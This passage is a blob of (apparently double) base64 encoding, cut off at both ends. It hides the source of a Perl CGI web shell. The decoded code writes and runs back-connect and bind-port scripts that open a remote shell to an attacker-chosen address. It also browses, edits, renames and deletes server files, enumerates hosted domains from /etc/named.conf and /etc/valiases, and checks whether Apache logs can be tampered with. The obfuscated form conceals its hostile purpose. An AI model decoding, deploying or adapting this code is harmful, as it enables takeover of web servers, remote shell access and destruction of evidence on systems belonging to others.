FsWFRtcGFXRUl3UzBWT1RWTlZWazlXUTNkblZUQldVMVpyVmxOTFZITm5XVEo0ZG1NeVZXZFJNSGhLVWxVMVZVdFJNRXRsZHpCTFExYzVkMXBYTkc5Vk1WSkZVMVUwYzBsRFNTdEthMDVOVTFWV1QxWkRTWEJQZHpCTFExYzVkMXBYTkc5Vk1WSkZWREZXVlV4RFFXbFFhVnBFVkVWc1JsUnNVV2xMVkhOT1EyZHNkbU5IVm5WTFJrNVZVa1ZXVTFWcGQyZEphalJ0VVRCNFNsSlZOVlZKYVdzM1JGRnZTbU16Ykhwa1IxWjBTME5LTVdKdVRteGtRMEpKVTFaT1ZWSnJiRTFTVkhOblpGYzFlbHBZVVdkVk1FWlhVbFZvU2xVeFVXZFBNbFpxWVVjNFowb3hjM0pZVTBKVVpWaE9NRnBYTVhCaWJWcDJUMmxCYms5NVFqRmliVVowV2xOQmRGbFVkR3haTW1oMlR6SldhbUZIT0dkS01YTnlXRk5DVm1NeVZubGhWelZ0WW5wdlowcDZjMmRoVjFFM1dsZE9iMko2ZEd4Wk1taDJTVU5rWWtzeE1HZFNSMng1V2xkT01HSXpTalZQYVVGdVQzbENkMlF5VVRkYVYwNXZZbnB6WjFwWFRtOWllVUZ1VjNsMFpFbEdUbTlhVjNoelQybEJiazk1VWxSaFIxWnpZa05KY0U5M01FdERWMDV6WWpOT2JFdEdUbFZTUld4UFMxUnpUa05uYkdwaVJ6bDZXbE5vVkZaRlVsQldWbEZ3VDNjd1MwTlhUbk5pTTA1c1MwWk9WVkpGVmxOVmFXczNSRkZ3T1VSUmJ6MGlPd29LQ1NSRGJHbGxiblJCWkdSeUlEMGdKR2x1ZXlkamJHbGxiblJoWkdSeUozMDdDZ2trUTJ4cFpXNTBVRzl5ZENBOUlHbHVkQ2drYVc1N0oyTnNhV1Z1ZEhCdmNuUW5mU2s3Q2dscFppZ2tRMnhwWlc1MFVHOXlkQ0JsY1NBd0tRb0pld29KQ1hKbGRIVnliaUFtUW1GamEwSnBibVJHYjNKdE93b0pmV1ZzYzJsbUtDRWtRMnhwWlc1MFFXUmtjaUJsY1NBaUlpa0tDWHNLQ1Fra1JHRjBZVDFrWldOdlpHVmZZbUZ6WlRZMEtDUmlZV05yY0dWeWJDazdDZ2tKYVdZb0xYY2dJaTkwYlhBdklpa0tDUWw3Q2drSkNTUkdhV3hsUFNJdmRHMXdMMkpoWTJ0amIyNXVaV04wTG5Cc0lqc0pDZ2tKZldWc2MyVUtDUWw3Q2drSkNTUkdhV3hsUFNSRGRYSnlaVzUwUkdseUxpUlFZWFJvVTJWd0xpSmlZV05yWTI5dWJtVmpkQzV3YkNJN0Nna0pmUW9KQ1c5d1pXNG9Sa2xNUlN3Z0lqNGtSbWxzWlNJcE93b0pDWEJ5YVc1MElFWkpURVVnSkVSaGRHRTdDZ2tKWTJ4dmMyVWdSa2xNUlRzS0NRbHplWE4wWlcwb0luQmxjbXdnWW1GamEyTnZibTVsWTNRdWNHd2dKRU5zYVdWdWRFRmtaSElnSkVOc2FXVnVkRkJ2Y25RaUtUc0tDUWwxYm14cGJtc29KRVpwYkdVcE93b0pDV1Y0YVhRZ01Ec0tDWDFsYkhObENnbDdDZ2tKSkVSaGRHRTlaR1ZqYjJSbFgySmhjMlUyTkNna1ltbHVaSEJsY213cE93b0pDV2xtS0MxM0lDSXZkRzF3SWlrS0NRbDdDZ2tKQ1NSR2FXeGxQU0l2ZEcxd0wySnBibVJ3YjNKMExuQnNJanNKQ2drSmZXVnNjMlVLQ1FsN0Nna0pDU1JHYVd4bFBTUkRkWEp5Wlc1MFJHbHlMaVJRWVhSb1UyVndMaUppYVc1a2NHOXlkQzV3YkNJN0Nna0pmUW9KQ1c5d1pXNG9Sa2xNUlN3Z0lqNGtSbWxzWlNJcE93b0pDWEJ5YVc1MElFWkpURVVnSkVSaGRHRTdDZ2tKWTJ4dmMyVWdSa2xNUlRzS0NRbHplWE4wWlcwb0luQmxjbXdnWW1sdVpIQnZjblF1Y0d3Z0pFTnNhV1Z1ZEZCdmNuUWlLVHNLQ1FsMWJteHBibXNvSkVacGJHVXBPd29KQ1dWNGFYUWdNRHNLQ1gwS2ZRb2pMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdENpTWdJRUZ5Y21GNUlFeHBjM1FnUkdseVpXTjBiM0o1Q2lNdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzBLYzNWaUlGSnRSR2x5S0NRcElBcDdDZ2x0ZVNBa1pHbHlJRDBnYzJocFpuUTdDaUFnSUNCcFppaHZjR1Z1WkdseUtFUkpVaXdrWkdseUtTa0tDWHNLQ1FsM2FHbHNaU2drWm1sc1pTQTlJSEpsWVdSa2FYSW9SRWxTS1NrS0NRbDdDZ2tKQ1dsbUtDZ2tabWxzWlNCdVpTQWlMaUlwSUNZbUlDZ2tabWxzWlNCdVpTQWlMaTRpS1NrS0NRa0pld29KQ1FrSkpHWnBiR1U5SUNSa2FYSXVKRkJoZEdoVFpYQXVKR1pwYkdVN0Nna0pDUWxwWmlndFpDQWtabWxzWlNrS0NRa0pDWHNLQ1FrSkNRa21VbTFFYVhJb0pHWnBiR1VwT3dvSkNRa0pmUW9KQ1FrSlpXeHpaUW9KQ1FrSmV3b0pDUWtKQ1hWdWJHbHVheWdrWm1sc1pTazdDZ2tKQ1FsOUNna0pDWDBLQ1FsOUNna0pZMnh2YzJWa2FYSW9SRWxTS1RzS0NYMEtDV2xtS0NGeWJXUnBjaWdrWkdseUtTa0tDWHNLQ1FrS0NYMEtmUXB6ZFdJZ1JtbHNaVTkzYm1WeUtDUXBDbnNLQ1cxNUlDUm1hV3hsSUQwZ2MyaHBablE3Q2dscFppZ3RaU0FrWm1sc1pTa0tDWHNLQ1Frb0pIVnBaQ3drWjJsa0tTQTlJQ2h6ZEdGMEtDUm1hV3hsS1NsYk5DdzFYVHNLQ1FscFppZ2tWMmx1VGxRcENna0pld29KQ1FseVpYUjFjbTRnSWo4L1B5STdDZ2tKZlFvSkNXVnNjMlVLQ1FsN0Nna0pDU1J1WVcxbFBXZGxkSEIzZFdsa0tDUjFhV1FwT3dvSkNRa2taM0p2ZFhBOVoyVjBaM0puYVdRb0pHZHBaQ2s3Q2drSkNYSmxkSFZ5YmlBa2JtRnRaUzRpTHlJdUpHZHliM1Z3T3dvSkNYMEtDWDBLQ1hKbGRIVnliaUFpUHo4L0lqc0tmUXB6ZFdJZ1VHRnlaVzUwUm05c1pHVnlLQ1FwQ25zS0NXMTVJQ1J3WVhSb0lEMGdjMmhwWm5RN0NnbHRlU0FrUTI5dGJTQTlJQ0pqWkNCY0lpUkRkWEp5Wlc1MFJHbHlYQ0lpTGlSRGJXUlRaWEF1SW1Oa0lDNHVJaTRrUTIxa1UyVndMaVJEYldSUWQyUTdDZ2xqYUc5d0tDUndZWFJvSUQwZ1lDUkRiMjF0WUNrN0NnbHlaWFIxY200Z0pIQmhkR2c3Q24wS2MzVmlJRVpwYkdWUVpYSnRjeWdrS1FwN0NnbHRlU0FrWm1sc1pTQTlJSE5vYVdaME93b0piWGtnSkhWeUlEMGdJaTBpT3dvSmJYa2dKSFYzSUQwZ0lpMGlPd29KYVdZb0xXVWdKR1pwYkdVcENnbDdDZ2tKYVdZb0pGZHBiazVVS1FvSkNYc0tDUWtKYVdZb0xYSWdKR1pwYkdVcGV5QWtkWElnUFNBaWNpSTdJSDBLQ1FrSmFXWW9MWGNnSkdacGJHVXBleUFrZFhjZ1BTQWlkeUk3SUgwS0NRa0pjbVYwZFhKdUlDUjFjaUF1SUNJZ0x5QWlJQzRnSkhWM093b0pDWDFsYkhObENna0pld29KQ1Fra2JXOWtaVDBvYzNSaGRDZ2tabWxzWlNrcFd6SmRPd29KQ1Fra2NtVnpkV3gwSUQwZ2MzQnlhVzUwWmlnaUpUQTBieUlzSUNSdGIyUmxJQ1lnTURjM056Y3BPd29KQ1FseVpYUjFjbTRnSkhKbGMzVnNkRHNLQ1FsOUNnbDlDZ2x5WlhSMWNtNGdJakF3TURBaU93cDlDbk4xWWlCR2FXeGxUR0Z6ZEUxdlpHbG1hV1ZrS0NRcENuc0tDVzE1SUNSbWFXeGxJRDBnYzJocFpuUTdDZ2xwWmlndFpTQWtabWxzWlNrS0NYc0tDUWtvSkd4aEtTQTlJQ2h6ZEdGMEtDUm1hV3hsS1NsYk9WMDdDZ2tKS0NSa0xDUnRMQ1I1TENSb0xDUnBLU0E5SUNoc2IyTmhiSFJwYldVb0pHeGhLU2xiTXl3MExEVXNNaXd4WFRzS0NRa2tlU0E5SUNSNUlDc2dNVGt3TURzS0NRbEFiVzl1ZEdnZ1BTQnhkeTh4SURJZ015QTBJRFVnTmlBM0lEZ2dPU0F4TUNBeE1TQXhNaTg3Q2drSkpHeHRkR2x0WlNBOUlITndjbWx1ZEdZb0lpVXdNbVF2SlhNdkpUUmtJQ1V3TW1RNkpUQXlaQ0lzSkdRc0pHMXZiblJvV3lSdFhTd2tlU3drYUN3a2FTazdDZ2tKY21WMGRYSnVJQ1JzYlhScGJXVTdDZ2w5Q2dseVpYUjFjbTRnSWo4L1B5STdDbjBLYzNWaUlFWnBiR1ZUYVhwbEtDUXBDbnNLQ1cxNUlDUm1hV3hsSUQwZ2MyaHBablE3Q2dscFppZ3RaaUFrWm1sc1pTa0tDWHNLQ1FseVpYUjFjbTRnTFhNZ0pHWnBiR1U3Q2dsOUNnbHlaWFIxY200Z0lqQWlPd29LZlFwemRXSWdVR0Z5YzJWR2FXeGxVMmw2WlNna0tRcDdDZ2x0ZVNBa2MybDZaU0E5SUhOb2FXWjBPd29KYVdZb0pITnBlbVVnUEQwZ01UQXlOQ2tLQ1hzS0NRbHlaWFIxY200Z0pITnBlbVV1SUNJZ1FpSTdDZ2w5Q2dsbGJITmxDZ2w3Q2drSmFXWW9KSE5wZW1VZ1BEMGdNVEF5TkNveE1ESTBLU0FLQ1FsN0Nna0pDU1J6YVhwbElEMGdjM0J5YVc1MFppZ2lKUzR3TW1ZaUxDUnphWHBsSUM4Z01UQXlOQ2s3Q2drSkNYSmxkSFZ5YmlBa2MybDZaUzRpSUV0Q0lqc0tDUWw5Q2drSlpXeHpaU0FLQ1FsN0Nna0pDU1J6YVhwbElEMGdjM0J5YVc1MFppZ2lKUzR5WmlJc0pITnBlbVVnTHlBeE1ESTBJQzhnTVRBeU5DazdDZ2tKQ1hKbGRIVnliaUFrYzJsNlpTNGlJRTFDSWpzS0NRbDlDZ2w5Q24wS2MzVmlJSFJ5YVcwb0pDa0tld29KYlhrZ0pITjBjbWx1WnlBOUlITm9hV1owT3dvSkpITjBjbWx1WnlBOWZpQnpMMTVjY3lzdkx6c0tDU1J6ZEhKcGJtY2dQWDRnY3k5Y2N5c2tMeTg3Q2dseVpYUjFjbTRnSkhOMGNtbHVaenNLZlFwemRXSWdRV1JrVTJ4aGMyaGxjeWdrS1FwN0NnbHRlU0FrYzNSeWFXNW5JRDBnYzJocFpuUTdDZ2trYzNSeWFXNW5QWDRnY3k5Y1hDOWNYRnhjTDJjN0NnbHlaWFIxY200Z0pITjBjbWx1WnpzS2ZRcHpkV0lnVEdsemRFUnBjZ3A3Q2dsdGVTQWtjR0YwYUNBOUlDUkRkWEp5Wlc1MFJHbHlMaVJRWVhSb1UyVndPd29KSkhCaGRHZzlmaUJ6TDF4Y1hGd3ZYRnd2WnpzS0NXMTVJQ1J5WlhOMWJIUWdQU0FpUEdadmNtMGdibUZ0WlQwblppY2dZV04wYVc5dVBTY2tVMk55YVhCMFRHOWpZWFJwYjI0blBqeHpjR0Z1SUhOMGVXeGxQU2RtYjI1ME9pQXhNWEIwSUZabGNtUmhibUU3SUdadmJuUXRkMlZwWjJoME9pQmliMnhrT3ljK1VHRjBhRG9nV3lBaUxpWkJaR1JNYVc1clJHbHlLQ0puZFdraUtTNGlJRjBnUEM5emNHRnVQanhwYm5CMWRDQjBlWEJsUFNkMFpYaDBKeUJ1WVcxbFBTZGtKeUJ6YVhwbFBTYzBNQ2NnZG1Gc2RXVTlKeVJEZFhKeVpXNTBSR2x5SnlBdlBqeHBibkIxZENCMGVYQmxQU2RvYVdSa1pXNG5JRzVoYldVOUoyRW5JSFpoYkhWbFBTZG5kV2tuUGp4cGJuQjFkQ0JqYkdGemN6MG5jM1ZpYldsMEp5QjBlWEJsUFNkemRXSnRhWFFuSUhaaGJIVmxQU2REYUdGdVoyVW5Qand2Wm05eWJUNGlPd29KYVdZb0xXUWdKSEJoZEdncENnbDdDZ2tKYlhrZ1FHWnVZVzFsSUQwZ0tDazdDZ2tKYlhrZ1FHUnVZVzFsSUQwZ0tDazdDZ2tKYVdZb2IzQmxibVJwY2loRVNWSXNKSEJoZEdncEtRb0pDWHNLQ1FrSmQyaHBiR1VvSkdacGJHVWdQU0J5WldGa1pHbHlLRVJKVWlrcENna0pDWHNLQ1FrSkNTUm1QU1J3WVhSb0xpUm1hV3hsT3dvSkNRa0phV1lvTFdRZ0pHWXBDZ2tKQ1FsN0Nna0pDUWtKY0hWemFDaEFaRzVoYldVc0pHWnBiR1VwT3dvSkNRa0pmUW9KQ1FrSlpXeHpaUW9KQ1FrSmV3b0pDUWtKQ1hCMWMyZ29RR1p1WVcxbExDUm1hV3hsS1RzS0NRa0pDWDBLQ1FrSmZRb0pDUWxqYkc5elpXUnBjaWhFU1ZJcE93b0pDWDBLQ1FsQVptNWhiV1VnUFNCemIzSjBJSHNnYkdNb0pHRXBJR050Y0NCc1l5Z2tZaWtnZlNCQVptNWhiV1U3Q2drSlFHUnVZVzFsSUQwZ2MyOXlkQ0I3SUd4aktDUmhLU0JqYlhBZ2JHTW9KR0lwSUgwZ1FHUnVZVzFsT3dvSkNTUnlaWE4xYkhRZ0xqMGdJanhrYVhZK1BIUmhZbXhsSUhkcFpIUm9QU2M1TUNVbklHTnNZWE56UFNkc2FYTjBaR2x5Sno0S0Nna0pQSFJ5SUhOMGVXeGxQU2RpWVdOclozSnZkVzVrTFdOdmJHOXlPaUFqTTJVelpUTmxKejQ4ZEdnK1JtbHNaU0JPWVcxbFBDOTBhRDRLQ1FrOGRHZ2djM1I1YkdVOUozZHBaSFJvT2pFd01IQjRPeWMrUm1sc1pTQlRhWHBsUEM5MGFENEtDUWs4ZEdnZ2MzUjViR1U5SjNkcFpIUm9PakUxTUhCNE95YytUM2R1WlhJOEwzUm9QZ29KQ1R4MGFDQnpkSGxzWlQwbmQybGtkR2c2TVRBd2NIZzdKejVRWlhKdGFYTnphVzl1UEM5MGFENEtDUWs4ZEdnZ2MzUjViR1U5SjNkcFpIUm9PakUxTUhCNE95YytUR0Z6ZENCTmIyUnBabWxsWkR3dmRHZytDZ2tKUEhSb0lITjBlV3hsUFNkM2FXUjBhRG95TmpCd2VEc25Qa0ZqZEdsdmJqd3ZkR2crUEM5MGNqNGlPd29KQ1cxNUlDUnpkSGxzWlQwaWJHbHVaU0k3Q2drSmJYa2dKR2s5TURzS0NRbG1iM0psWVdOb0lHMTVJQ1JrSUNoQVpHNWhiV1VwQ2drSmV3b0pDUWtrYzNSNWJHVTlJQ2drYzNSNWJHVWdaWEVnSW14cGJtVWlLU0EvSUNKdWIzUnNhVzVsSWpvZ0lteHBibVVpT3dvSkNRa2taQ0E5SUNaMGNtbHRLQ1JrS1RzS0NRa0pKR1JwY201aGJXVTlKR1E3Q2drSkNXbG1LQ1JrSUdWeElDSXVMaUlwSUFvSkNRbDdDZ2tKQ1Fra1pDQTlJQ1pRWVhKbGJuUkdiMnhrWlhJb0pIQmhkR2dwT3dvSkNRbDlDZ2tKQ1dWc2MybG1LQ1JrSUdWeElDSXVJaWtnQ2drSkNYc0tDUWtKQ1NSa0lEMGdKSEJoZEdnN0Nna0pDWDBLQ1FrSlpXeHpaU0FLQ1FrSmV3b0pDUWtKSkdRZ1BTQWtjR0YwYUM0a1pEc0tDUWtKZlFvSkNRa2tjbVZ6ZFd4MElDNDlJQ0k4ZEhJZ1kyeGhjM005SnlSemRIbHNaU2MrQ2dvSkNRazhkR1FnYVdROUowWnBiR1ZmSkdrbklITjBlV3hsUFNkbWIyNTBPaUF4TVhCMElGWmxjbVJoYm1FN0lHWnZiblF0ZDJWcFoyaDBPaUJpYjJ4a095YytQR0VnSUdoeVpXWTlKejloUFdkMWFTWmtQU0l1SkdRdUlpYytXeUFpTGlSa2FYSnVZVzFsTGlJZ1hUd3ZZVDQ4TDNSa1BpSTdDZ2tKQ1NSeVpYTjFiSFFnTGowZ0lqeDBaRDVFU1ZJOEwzUmtQaUk3Q2drSkNTUnlaWE4xYkhRZ0xqMGdJangwWkNCemRIbHNaVDBuZEdWNGRDMWhiR2xuYmpwalpXNTBaWEk3Sno0aUxpWkdhV3hsVDNkdVpYSW9KR1FwTGlJOEwzUmtQaUk3Q2drSkNTUnlaWE4xYkhRZ0xqMGdJangwWkNCcFpEMG5SbWxzWlZCbGNtMXpYeVJwSnlCemRIbHNaVDBuZEdWNGRDMWhiR2xuYmpwalpXNTBaWEk3SnlCdmJtUmliR05zYVdOclBWd2ljbTFmWTJodGIyUmZabTl5YlNoMGFHbHpMQ0l1SkdrdUlpd25JaTRtUm1sc1pWQmxjbTF6S0NSa0tTNGlKeXduSWk0a1pHbHlibUZ0WlM0aUp5bGNJaUErUEhOd1lXNGdiMjVqYkdsamF6MWNJbU5vYlc5a1gyWnZjbTBvSWk0a2FTNGlMQ2NpTGlSa2FYSnVZVzFsTGlJbktWd2lJRDRpTGlaR2FXeGxVR1Z5YlhNb0pHUXBMaUk4TDNOd1lXNCtQQzkwWkQ0aU93b0pDUWtrY21WemRXeDBJQzQ5SUNJOGRHUWdjM1I1YkdVOUozUmxlSFF0WVd4cFoyNDZZMlZ1ZEdWeU95YytJaTRtUm1sc1pVeGhjM1JOYjJScFptbGxaQ2drWkNrdUlqd3ZkR1ErSWpzS0NRa0pKSEpsYzNWc2RDQXVQU0FpUEhSa0lITjBlV3hsUFNkMFpYaDBMV0ZzYVdkdU9tTmxiblJsY2pzblBqeGhJR2h5WldZOUoycGhkbUZ6WTNKcGNIUTZjbVYwZFhKdUlHWmhiSE5sT3ljZ2IyNWpiR2xqYXoxY0luSmxibUZ0WlY5bWIzSnRLQ1JwTENja1pHbHlibUZ0WlNjc0p5SXVKa0ZrWkZOc1lYTm9aWE1vSmtGa1pGTnNZWE5vWlhNb0pHUXBLUzRpSnlsY0lqNVNaVzVoYldVOEwyRStJQ0I4SUR4aElHOXVZMnhwWTJzOVhDSnBaaWdoWTI5dVptbHliU2duVW1WdGIzWmxJR1JwY2pvZ0pHUnBjbTVoYldVZ1B5Y3BLU0I3SUhKbGRIVnliaUJtWVd4elpUdDlYQ0lnYUhKbFpqMG5QMkU5WjNWcEptUTlKSEJoZEdnbWNtVnRiM1psUFNSa2FYSnVZVzFsSno1U1pXMXZkbVU4TDJFK1BDOTBaRDRpT3dvSkNRa2tjbVZ6ZFd4MElDNDlJQ0k4TDNSeVBpSTdDZ2tKQ1NScEt5czdDZ2tKZlFvSkNXWnZjbVZoWTJnZ2JYa2dKR1lnS0VCbWJtRnRaU2tLQ1FsN0Nna0pDU1J6ZEhsc1pUMGdLQ1J6ZEhsc1pTQmxjU0FpYkdsdVpTSXBJRDhnSW01dmRHeHBibVVpT2lBaWJHbHVaU0k3Q2drSkNTUm1hV3hsUFNSbU93b0pDUWtrWmlBOUlDUndZWFJvTGlSbU93b0pDUWtrZG1sbGR5QTlJQ0kvWkdseVBTSXVKSEJoZEdndUlpWjJhV1YzUFNJdUpHWTdDZ2tKQ1NSeVpYTjFiSFFnTGowZ0lqeDBjaUJqYkdGemN6MG5KSE4wZVd4bEp6NDhkR1FnYVdROUowWnBiR1ZmSkdrbklITjBlV3hsUFNkbWIyNTBPaUF4TVhCMElGWmxjbVJoYm1FN0p6NDhZU0JvY21WbVBTYy9ZVDFqYjIxdFlXNWtKbVE5SWk0a2NHRjBhQzRpSm1NOVpXUnBkQ1V5TUNJdUpHWnBiR1V1SWljK0lpNGtabWxzWlM0aVBDOWhQand2ZEdRK0lqc0tDUWtKSkhKbGMzVnNkQ0F1UFNBaVBIUmtQaUl1SmxCaGNuTmxSbWxzWlZOcGVtVW9Ka1pwYkdWVGFYcGxLQ1JtS1NrdUlqd3ZkR1ErSWpzS0NRa0pKSEpsYzNWc2RDQXVQU0FpUEhSa0lITjBlV3hsUFNkMFpYaDBMV0ZzYVdkdU9tTmxiblJsY2pzblBpSXVKa1pwYkdWUGQyNWxjaWdrWmlrdUlqd3ZkR1ErSWpzS0NRa0pKSEpsYzNWc2RDQXVQU0FpUEhSa0lHbGtQU2RHYVd4bFVHVnliWE5mSkdrbklITjBlV3hsUFNkMFpYaDBMV0ZzYVdkdU9tTmxiblJsY2pzbklHOXVaR0pzWTJ4cFkyczlYQ0p5YlY5amFHMXZaRjltYjNKdEtIUm9hWE1zSWk0a2FTNGlMQ2NpTGlaR2FXeGxVR1Z5YlhNb0pHWXBMaUluTENjaUxpUm1hV3hsTGlJbktWd2lJRDQ4YzNCaGJpQnZibU5zYVdOclBWd2lZMmh0YjJSZlptOXliU2drYVN3bkpHWnBiR1VuS1Z3aUlENGlMaVpHYVd4bFVHVnliWE1vSkdZcExpSThMM053WVc0K1BDOTBaRDRpT3dvSkNRa2tjbVZ6ZFd4MElDNDlJQ0k4ZEdRZ2MzUjViR1U5SjNSbGVIUXRZV3hwWjI0NlkyVnVkR1Z5T3ljK0lpNG1SbWxzWlV4aGMzUk5iMlJwWm1sbFpDZ2taaWt1SWp3dmRHUStJanNLQ1FrSkpISmxjM1ZzZENBdVBTQWlQSFJrSUhOMGVXeGxQU2QwWlhoMExXRnNhV2R1T21ObGJuUmxjanNuUGp4aElHaHlaV1k5Sno5aFBXTnZiVzFoYm1RbVpEMGlMaVJ3WVhSb0xpSW1ZejFsWkdsMEpUSXdJaTRrWm1sc1pTNGlKejVGWkdsMFBDOWhQaUI4SUR4aElHaHlaV1k5SjJwaGRtRnpZM0pwY0hRNmNtVjBkWEp1SUdaaGJITmxPeWNnYjI1amJHbGphejFjSW5KbGJtRnRaVjltYjNKdEtDUnBMQ2NrWm1sc1pTY3NKMlluS1Z3aVBsSmxibUZ0WlR3dllUNGdmQ0E4WVNCb2NtVm1QU2MvWVQxa2IzZHViRzloWkNadlBXZHZKbVk5SWk0a1ppNGlKejVFYjNkdWJHOWhaRHd2WVQ0Z2ZDQThZU0J2Ym1Oc2FXTnJQVndpYVdZb0lXTnZibVpwY20wb0oxSmxiVzkyWlNCbWFXeGxPaUFrWm1sc1pTQS9KeWtwSUhzZ2NtVjBkWEp1SUdaaGJITmxPMzFjSWlCb2NtVm1QU2MvWVQxbmRXa21aRDBrY0dGMGFDWnlaVzF2ZG1VOUpHWnBiR1VuUGxKbGJXOTJaVHd2WVQ0OEwzUmtQaUk3Q2drSkNTUnlaWE4xYkhRZ0xqMGdJand2ZEhJK0lqc0tDUWtKSkdrckt6c0tDUWw5Q2drSkpISmxjM1ZzZENBdVBTQWlQQzkwWVdKc1pUNDhMMlJwZGo0aU93b0pmUW9KY21WMGRYSnVJQ1J5WlhOMWJIUTdDbjBLSXkwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUW9qSUZSeWVTQjBieUJXYVdWM0lFeHBjM1FnVlhObGNnb2pMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdENuTjFZaUJXYVdWM1JHOXRZV2x1VlhObGNncDdDZ2x2Y0dWdUlDaGtiMjFoYVc1ekxDQW5MMlYwWXk5dVlXMWxaQzVqYjI1bUp5a2diM0lnSkdWeWNqMHhPd29KYlhrZ1FHTnVlbk1nUFNBOFpHOXRZV2x1Y3o0N0NnbGpiRzl6WlNCa01HMWhhVzV6T3dvSmJYa2dKSE4wZVd4bFBTSnNhVzVsSWpzS0NXMTVJQ1J5WlhOMWJIUTlJanhvTlQ0OFptOXVkQ0J6ZEhsc1pUMG5abTl1ZERvZ01UVndkQ0JXWlhKa1lXNWhPMk52Ykc5eU9pQWpabVk1T1RBd095YytTRzloYm1jZ1UyRWdMU0JVY25WdmJtY2dVMkU4TDJadmJuUStQQzlvTlQ0aU93b0phV1lnS0NSbGNuSXBDZ2w3Q2drSkpISmxjM1ZzZENBdVBTQWdLQ2M4Y0Q1RE1IVnNaRzVjSjNRZ1FubHdZWE56SUdsMElDd2dVMjl5Y25rOEwzQStKeWs3Q2drSmNtVjBkWEp1SUNSeVpYTjFiSFE3Q2dsOVpXeHpaUW9KZXdvSkNTUnlaWE4xYkhRZ0xqMGdKengwWVdKc1pUNDhkSEkrUEhSb1BrUnZiV0ZwYm5NOEwzUm9QaUE4ZEdnK1ZYTmxjand2ZEdnK1BDOTBjajRuT3dvSmZRb0pabTl5WldGamFDQnRlU0FrYjI1bElDaEFZMjU2Y3lrS0NYc0tDUWxwWmlna2IyNWxJRDErSUcwdkxpby9lbTl1WlNBaUtDNHFQeWtpSUhzdktRb0pDWHNKQ2drSkNTUnpkSGxzWlQwZ0tDUnpkSGxzWlNCbGNTQWliR2x1WlNJcElEOGdJbTV2ZEd4cGJtVWlPaUFpYkdsdVpTSTdDZ2tKQ1NSbWFXeGxibUZ0WlQwZ0lpOWxkR012ZG1Gc2FXRnpaWE12SWk0a2IyNWxPd29KQ1Fra2IzZHVaWElnUFNCblpYUndkM1ZwWkNnb2MzUmhkQ2drWm1sc1pXNWhiV1VwS1ZzMFhTazdDZ2tKQ1NSeVpYTjFiSFFnTGowZ0p6eDBjaUJqYkdGemN6MGlKSE4wZVd4bElpQjNhV1IwYUQwMU1DVStQSFJrUGljdUpHOXVaUzRuSUR3dmRHUStQSFJrUGlBbkxpUnZkMjVsY2k0blBDOTBaRDQ4TDNSeVBpYzdDZ2tKZlFvSmZRb0pKSEpsYzNWc2RDQXVQU0FuUEM5MFlXSnNaVDRuT3dvSmNtVjBkWEp1SUNSeVpYTjFiSFE3Q24wS0l5MHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFFvaklGWnBaWGNnVEc5bkNpTXRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwS2MzVmlJRlpwWlhkTWIyY0tld29KYVdZb0pGZHBiazVVS1FvSmV3b0pDWEpsZEhWeWJpQWlQR2d5UGp4bWIyNTBJSE4wZVd4bFBTZG1iMjUwT2lBeU1IQjBJRlpsY21SaGJtRTdZMjlzYjNJNklDTm1aams1TURBN0p6NUViMjRuZENCeWRXNGdiMjRnVjJsdVpHOTNjend2Wm05dWRENDhMMmd5UGlJN0NnbDlDZ2x0ZVNBa2NtVnpkV3gwUFNJOGRHRmliR1UrUEhSeVBqeDBhRDVRWVhSb0lFeHZaend2ZEdnK1BIUm9QbE4xWW0xcGREd3ZkR2crUEM5MGNqNGlPd29KYlhrZ1FIQmhkR2hzYjJjOUtBb0pDUWtKSnk5MWMzSXZiRzlqWVd3dllYQmhZMmhsTDJ4dlozTXZaWEp5YjNKZmJHOW5KeXdLQ1FrSkNTY3ZkbUZ5TDJ4dlp5OW9kSFJ3WkM5bGNuSnZjbDlzYjJjbkxBb0pDUWtKSnk5MWMzSXZiRzlqWVd3dllYQmhZMmhsTDJ4dlozTXZZV05qWlhOelgyeHZaeWNLQ1FrSkNTazdDZ2x0ZVNBa2FUMHdPd29KYlhrZ0pIQmxjbTF6T3dvSmJYa2dKSE5zT3dvSlptOXlaV0ZqYUNCdGVTQWtiRzluSUNoQWNHRjBhR3h2WnlrS0NYc0tDUWxwWmlndGR5QWtiRzluS1FvSkNYc0tDUWtKSkhCbGNtMXpQU0pQU3lJN0Nna0pmV1ZzYzJVS0NRbDdDZ2tKQ1dOb2IzQW9KSE5zSUQwZ1lHeHVJQzF6SUNSc2IyY2daWEp5YjNKZmJHOW5YeVJwWUNrN0Nna0pDV2xtS0NaMGNtbHRLQ1JzY3lrZ1pYRWdJaUlwQ2drSkNYc0tDUWtKQ1dsbUtDMXlJQ1JzY3lrS0NRa0pDWHNLQ1FrSkNRa2tjR1Z5YlhNOUlrOUxJanNLQ1FrSkNRa2tiRzluUFNKbGNuSnZjbDlzYjJkZklpNGthVHNLQ1FrSkNYMEtDUWtKZldWc2MyVUtDUWtKZXdvSkNRa0pKSEJsY20xelBTSThabTl1ZENCemRIbHNaVDBuWTI5c2IzSTZJSEpsWkRzblBrTmhibU5sYkR4bWIyNTBQaUk3Q2drSkNYMEtDUWw5Q2drSkpISmxjM1ZzZENBdVBUdzhSVTVFT3dvSkNUeDBjajRLQ2drSkNUeG1iM0p0SUdGamRHbHZiajBpSWlCdFpYUm9iMlE5SW5CdmMzUWlQZ29KQ1FrOGRHUStQR2x1Y0hWMElIU